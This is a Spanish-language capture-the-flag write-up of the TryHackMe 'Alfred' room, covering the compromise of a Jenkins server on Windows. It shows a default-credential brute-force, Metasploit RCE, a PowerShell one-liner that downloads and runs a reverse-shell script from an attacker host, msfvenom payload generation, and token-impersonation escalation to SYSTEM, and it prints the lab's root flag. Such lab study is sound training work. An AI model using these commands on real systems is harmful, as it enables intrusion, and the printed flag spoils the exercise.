Alfred [TryHackMe]

2023-08-29

Introducción

La segunda sala del bloque “Advanced Exploitation” en el path “Offensive Pentesting”. En esta sala se aprende a explotar una configuración incorrecta en Jenkins, un servidor de automatización. Se utilizará Nishang en una aplicación Windows para obtener acceso inicial y escalada de privilegios. En THM viene etiquetada como una sala fácil, pero powershell me sigue costando, lo que la vuelve un poco más complicada para mi.

Task 1 - Desplegar la máquina

Paso 1:

  • Escaneo la máquina desplegada para descubrir los servicios. Encuentro 3 puertos abiertos.
  • Se encuentra página de login en el puerto 8080, usa Jenkins.
  • Pruebo user/pass por defecto admin:admin y logro acceso. Versión Jenkins ver. 2.190.1
  • Encuentro posible método RCE - Jenkins 2.150.2 - Remote Command Execution (Metasploit)
  • Obtengo acceso con Meterpreter. Pruebo el acceso tambien de forma manual con el script de powershell.
# Escaneo inicial con salida a fichero
sudo nmap -sS --min-rate 5000 -p- -Pn -v -oN nmap_inicial 10.10.123.255

# Listo y filtro los puertos en nmap_inicial
ports=$(cat nmap_inicial | grep '^[0-9]' | cut -d '/' -f1 | xargs | tr ' ' ',')

# Escaneo final con los puertos guardados
nmap -p$ports -sC -sV -Pn -oN nmap_final 10.10.123.255
  • Resultado nmap:
Nmap scan report for 10.10.123.255
Host is up (0.049s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
3389/tcp open  ms-wbt-server
8080/tcp open  http-proxy
  • Brute-force login con Metasploit:
# Busco Jenkins en metasploit
msf6 > search Jenkins

Matching Modules
================

   #   Name                                                  Disclosure Date  Rank       Check  Description
   -   ----                                                  ---------------  ----       -----  -----------
   0   exploit/windows/misc/ibm_websphere_java_deserialize   2015-11-06       excellent  No     IBM WebSphere RCE Java Deserialization Vulnerability
   1   exploit/multi/http/jenkins_metaprogramming            2019-01-08       excellent  Yes    Jenkins ACL Bypass and Metaprogramming RCE
   2   exploit/linux/http/jenkins_cli_deserialization        2017-04-26       excellent  Yes    Jenkins CLI Deserialization
   3   exploit/linux/misc/jenkins_ldap_deserialize           2016-11-16       excellent  Yes    Jenkins CLI HTTP Java Deserialization Vulnerability
   4   exploit/linux/misc/jenkins_java_deserialize           2015-11-18       excellent  Yes    Jenkins CLI RMI Java Deserialization Vulnerability
   5   post/multi/gather/jenkins_gather                                       normal     No     Jenkins Credential Collector
   6   auxiliary/gather/jenkins_cred_recovery                                 normal     Yes    Jenkins Domain Credential Recovery
   7   auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum                   normal     No     Jenkins Server Broadcast Enumeration
   8   exploit/multi/http/jenkins_xstream_deserialize        2016-02-24       excellent  Yes    Jenkins XStream Groovy classpath Deserialization Vulnerability
   9   auxiliary/scanner/http/jenkins_enum                                    normal     No     Jenkins-CI Enumeration
   10  auxiliary/scanner/http/jenkins_login                                   normal     No     Jenkins-CI Login Utility
   11  exploit/multi/http/jenkins_script_console             2013-01-18       good       Yes    Jenkins-CI Script-Console Java Execution
   12  auxiliary/scanner/http/jenkins_command                                 normal     No     Jenkins-CI Unauthenticated Script-Console Scanner
   13  exploit/linux/misc/opennms_java_serialize             2015-11-06       normal     No     OpenNMS Java Object Unserialization Remote Code Execution

msf6 > use 10
msf6 auxiliary(scanner/http/jenkins_login) > set RHOSTS 10.10.123.255
RHOSTS => 10.10.123.255

# Elijo el modulo de login y reviso opciones
Module options (auxiliary/scanner/http/jenkins_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      true             no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
   HTTP_METHOD       POST             yes       The HTTP method to use for the login (Accepted: GET, POST)
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS            10.10.123.255    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT             8080             yes       The target port (TCP)
   SSL               false            no        Negotiate SSL/TLS for outgoing connections
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   TARGETURI                          no        The path to the Jenkins-CI application
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts
   VHOST                              no        HTTP server virtual host

# Selecciono wordlist de user/pass comunes
msf6 auxiliary(scanner/http/jenkins_login) > set userpass_file /usr/share/wordlists/metasploit/default_userpass_for_services_unhash.txt
userpass_file => /usr/share/wordlists/metasploit/default_userpass_for_services_unhash.txt
msf6 auxiliary(scanner/http/jenkins_login) > run

# Encuentro login
[+] 10.10.123.255:8080 - Login Successful: admin:admin
  • RCE con Metasploit:
# Configuro LHOST y RHOSTS
msf6 exploit(multi/http/jenkins_script_console) > set LHOST tun0
msf6 exploit(multi/http/jenkins_script_console) > set RHOSTS 10.10.199.157
RHOSTS => 10.10.199.157
msf6 exploit(multi/http/jenkins_script_console) > set RPORT 8080
RPORT => 8080

# Indico user/pass
msf6 exploit(multi/http/jenkins_script_console) > set USERNAME admin
USERNAME => admin
msf6 exploit(multi/http/jenkins_script_console) > set PASSWORD admin
PASSWORD => admin

# Ejecuto el exploit
msf6 exploit(multi/http/jenkins_script_console) > run

[*] Started reverse TCP handler on 10.14.50.184:4444 
[*] Checking access to the script console
[*] Logging in...
[*] Using CSRF token: 'f977d727b64f7f6bcda0835d0bd4730dc4b348c303de26e296cc95358eab60e1' (Jenkins-Crumb style v1)
[*] 10.10.199.157:8080 - Sending command stager...
[*] Command Stager progress -   2.06% done (2048/99626 bytes)
[*] Command Stager progress -   4.11% done (4096/99626 bytes)
[*] Command Stager progress -   6.17% done (6144/99626 bytes)
...
[*] Sending stage (175686 bytes) to 10.10.199.157
[*] Meterpreter session 1 opened (10.14.50.184:4444 -> 10.10.199.157:49212) at 2023-08-28 18:01:49 +0200

meterpreter > ls
Listing: C:\Program Files (x86)\Jenkins
=======================================

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
100666/rw-rw-rw-  0         fil   2023-08-28 17:41:44 +0200  .lastStarted
...
  • Reverse shell manual:
# Creo servidor con python donde tengo el script de powershell
 python3 -m http.server 80

# Creo un listener con netcat
nc -lvnp 1234

# Ejecuto comando en consola-web a traves de un proyecto nuevo y se crea la conexion
powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port

Task 2 - Switching Shells

Paso 2:

  • Se crea un payload con msfvenom.
  • El payload contiene el mismo código que el script anterior shikata_ga_nai.
  • El shell será un reverse_tcp de meterpreter.
  • Es lo mismo que lo realizado en el paso 1 usando directamente el exploit en Metasploit.
# Genero payload con msfvenom
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.14.50.184 LPORT=1234 -f exe -o shell-name.exe 

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: shell-name.exe

Task 3 - Privilege Escalation

Paso 3:

meterpreter > load powershell 
Loading extension powershell...Success.
meterpreter > powershell_shell 
PS > whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                  Description                               State
=============================== ========================================= =======
SeIncreaseQuotaPrivilege        Adjust memory quotas for a process        Enabled
SeSecurityPrivilege             Manage auditing and security log          Enabled
SeTakeOwnershipPrivilege        Take ownership of files or other objects  Enabled
SeLoadDriverPrivilege           Load and unload device drivers            Enabled
SeSystemProfilePrivilege        Profile system performance                Enabled
SeSystemtimePrivilege           Change the system time                    Enabled
SeProfileSingleProcessPrivilege Profile single process                    Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority              Enabled
SeCreatePagefilePrivilege       Create a pagefile                         Enabled
SeBackupPrivilege               Back up files and directories             Enabled
SeRestorePrivilege              Restore files and directories             Enabled
SeShutdownPrivilege             Shut down the system                      Enabled
SeDebugPrivilege                Debug programs                            Enabled
SeSystemEnvironmentPrivilege    Modify firmware environment values        Enabled
SeChangeNotifyPrivilege         Bypass traverse checking                  Enabled
SeRemoteShutdownPrivilege       Force shutdown from a remote system       Enabled
SeUndockPrivilege               Remove computer from docking station      Enabled
SeManageVolumePrivilege         Perform volume maintenance tasks          Enabled
SeImpersonatePrivilege          Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege         Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege   Increase a process working set            Enabled
SeTimeZonePrivilege             Change the time zone                      Enabled
SeCreateSymbolicLinkPrivilege   Create symbolic links                     Enabled
  • Impersonate_token en meterpreter:
meterpreter > load incognito 
Loading extension incognito...Success.
meterpreter > list_tokens -g
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
\
BUILTIN\Administrators
BUILTIN\Users
NT AUTHORITY\Authenticated Users
NT AUTHORITY\NTLM Authentication
NT AUTHORITY\SERVICE
NT AUTHORITY\This Organization
NT SERVICE\AudioEndpointBuilder
NT SERVICE\CertPropSvc
NT SERVICE\CscService
NT SERVICE\iphlpsvc
NT SERVICE\LanmanServer
NT SERVICE\PcaSvc
NT SERVICE\Schedule
NT SERVICE\SENS
NT SERVICE\SessionEnv
NT SERVICE\TrkWks
NT SERVICE\UmRdpService
NT SERVICE\UxSms
NT SERVICE\Winmgmt
NT SERVICE\wuauserv

Impersonation Tokens Available
========================================
No tokens available

meterpreter > impersonate_token "BUILTIN\Administrators" 
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
  • Migración del servicio:
meterpreter > ps

Process List
============

 PID   PPID  Name                  Arch  Session  User                          Path
 ---   ----  ----                  ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System                x64   0
 396   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\smss.exe
 528   520   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 576   520   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\wininit.exe
 584   568   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 612   568   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe
 672   576   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\services.exe
...

meterpreter > migrate 672
[*] Migrating from 2492 to 672...
[*] Migration completed successfully.|
  • Bandera root:
meterpreter > search -f root.txt
Found 1 result...
=================

Path                                 Size (bytes)  Modified (UTC)
----                                 ------------  --------------
c:\Windows\System32\config\root.txt  70            2019-10-26 13:36:00 +0200

meterpreter > cat c:\Windows\System32\config\root.txt

meterpreter > cd c:\\Windows\\System32\\config

meterpreter > cat root.txt 
dff0f748678f280250f25a45b8046b4a

Conclusion

Aunque estamos ya en el bloque de “Advanced Exploitation”, esta máquina me ha parecido bastante sencilla. En la anterior, “Steel Mountain”, tuve más dificultades con algunas tareas. Los pasos no los he seguido al pie de la letra y he ido probando según veía lo que me parecía mejor, pero el resultado es el mismo que con los pasos propuestos. Igualmente he probado con las instrucciones propuestas, para poder probar distintos métodos de acceso y poder tener una visión más amplia de las diferentes formas de abordar una máquina como esta.

(◕‿‿◕) Hack the planet!